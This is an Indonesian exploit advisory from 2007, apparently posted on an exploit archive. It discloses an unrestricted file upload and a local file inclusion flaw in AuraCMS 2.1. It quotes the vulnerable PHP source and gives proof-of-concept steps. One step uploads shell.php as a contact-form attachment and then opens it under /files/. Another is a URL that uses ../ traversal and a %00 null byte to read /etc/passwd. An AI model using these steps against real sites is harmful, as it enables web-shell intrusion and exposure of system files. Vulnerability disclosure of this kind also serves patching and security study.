Home / exploits

PDF

auracms21-lfi.txt

Posted on 11 September 2007

########################################################################
# AuraCMS 2.1 - Remote File Attachment - Local File Inclusion
# Vendor           : http://www.auracms.org/
# Download        : http://www.auracms.org/dl_jump.php?id=42
# Ditemukan oleh   : k1tk4t - k1tk4t[4t]newhack.org
# Lokasi           : Indonesia  --  #newhack[dot]org @ irc.dal.net
########################################################################
====================================
Remote File Attachment Vulnerability
====================================

//berkas pada '/mod/contak.php'
---------------- Baris-41 --------------------
if ($_POST['submit']) {


$nama = text_filter($_POST['nama']);

$email = text_filter($_POST['email']);

$pesan = nl2br(text_filter($_POST['pesan'], 2));

$images = text_filter($_POST['image']);



checkemail($email);

$gfx_check = intval($_POST['gfx_check']);

if (!$nama)  $error .= "Error: Please enter your name!<br />";

if (!$pesan) $error .= "Error: Please enter a message!<br />";



$code = substr(hexdec(md5("".date("F j")."".$_POST['random_num']."".$sitekey."")), 2, 6);

if (extension_loaded("gd") AND $code != $_POST['gfx_check']) $error .= "Error: Security Code Invalid<br />";



if ($error) {

$tengah.='<table width="100%" border="0" cellspacing="0" cellpadding="0" class="middle"><tr><td><table width="100%" class="bodyline"><tr><td align="left"><img src="images/warning.gif" border="0"></td><td align="center"><font class="option">'.$error.'</font></td><td align="right"><img src="images/warning.gif" border="0"></td></tr></table></td></tr></table>';

} else {



if (!empty ($image_name)){

$image_name = $_FILES['image']['name'];

$image_temp = $_FILES['image']['tmp_name'];

$tempat = "files/";



@copy($_FILES[image][tmp_name], "./files/".$image_name);

if(@copy($_FILES[image][tmp_name], "./files/".$image_name)){

unlink($image);

$sukses = "Sukses Upload File ".$image_name;

}else{

$sukses = "Gagal Upload File ".$image_name;

---------------- Baris-61 --------------------

pemfilteran "$images" tidak sempurna, sehingga pengguna dapat mengupload/attachment file yang tidak diinginkan kedalam direktori /files/.

//POC;

http://localhost/auracms2.1/index.php?pilih=../mod/contak

atau

http://localhost/auracms2.1/index.php?pilih=contak&mod=yes

isi semua konten isian, masukan angka 'security code' dengan benar, "Attachment" --> shell.php ;

http://localhost/auracms2.1/files/shell.php



===================================
Local File Inclusion Vulnerability
===================================

//berkas pada '/index.php' - AuraCMS versi 2.x

--------- baris-24 ----------
if (isset ($_GET['mod'])) $mod = $_GET['mod'] ; else $mod = '';




if(!isset($_GET['pilih'])){

include 'content/normal.php';

}else {




if($mod == "yes" && file_exists("mod/$_GET[pilih].php")){

include "mod/$_GET[pilih].php";

} else {



if (eregi('http://', $_GET['pilih']) or !file_exists("content/$_GET[pilih].php") or $_GET['pilih'] == 'index'){

$_GET['pilih'] = 'normal';
--------- baris-39 ----------


//berkas pada '/index.php' - AuraCMS versi 1.x

--------- baris-13 ----------
<?
if(!isset($pilih))$pilih='';
switch($pilih){
case '':
include "normal.php";
break;
default:
if($mod == "yes" && file_exists("mod/$pilih.php")){

include "mod/$pilih.php";
} else {
if (eregi('http://', $pilih) or !file_exists("$pilih.php")){
$pilih = 'normal';
}
include "$pilih.php";
}
break;
}
?>
--------- baris-33 ----------

need magic_quotes_gpc = off ,
jika magic_quotes_gpc = off maka pengguna dapat memanipulasi $pilih

//POC;

http://localhost/auracms.x.x/index.php?pilih=../../../../../../../etc/passwd%00

########################################################################
Terimakasih untuk;
str0ke, DNX
xoron,iFX,x-ace,nyubi,arioo,selikoer,k1n9k0ng,aldy_BT,adhietslank
dan semua temen2 komunitas security&hacking
-----------------------
-newhack[dot]org|staff-
mR.opt1lc ,fusion,fl3xu5,PusHm0v,Ghoz,bius,iind_id,slackX
-----------------------
all member newhack[dot]org
-----------------------
all member www.echo.or.id
-----------------------
all member www.yogyafree.net
-----------------------
all member www.sekuritionline.net
-----------------------
all member www.kecoak-elektronik.net
-----------------------
semua komunitas hacker&security Indonesia
Cintailah Bahasa Indonesia

 

TOP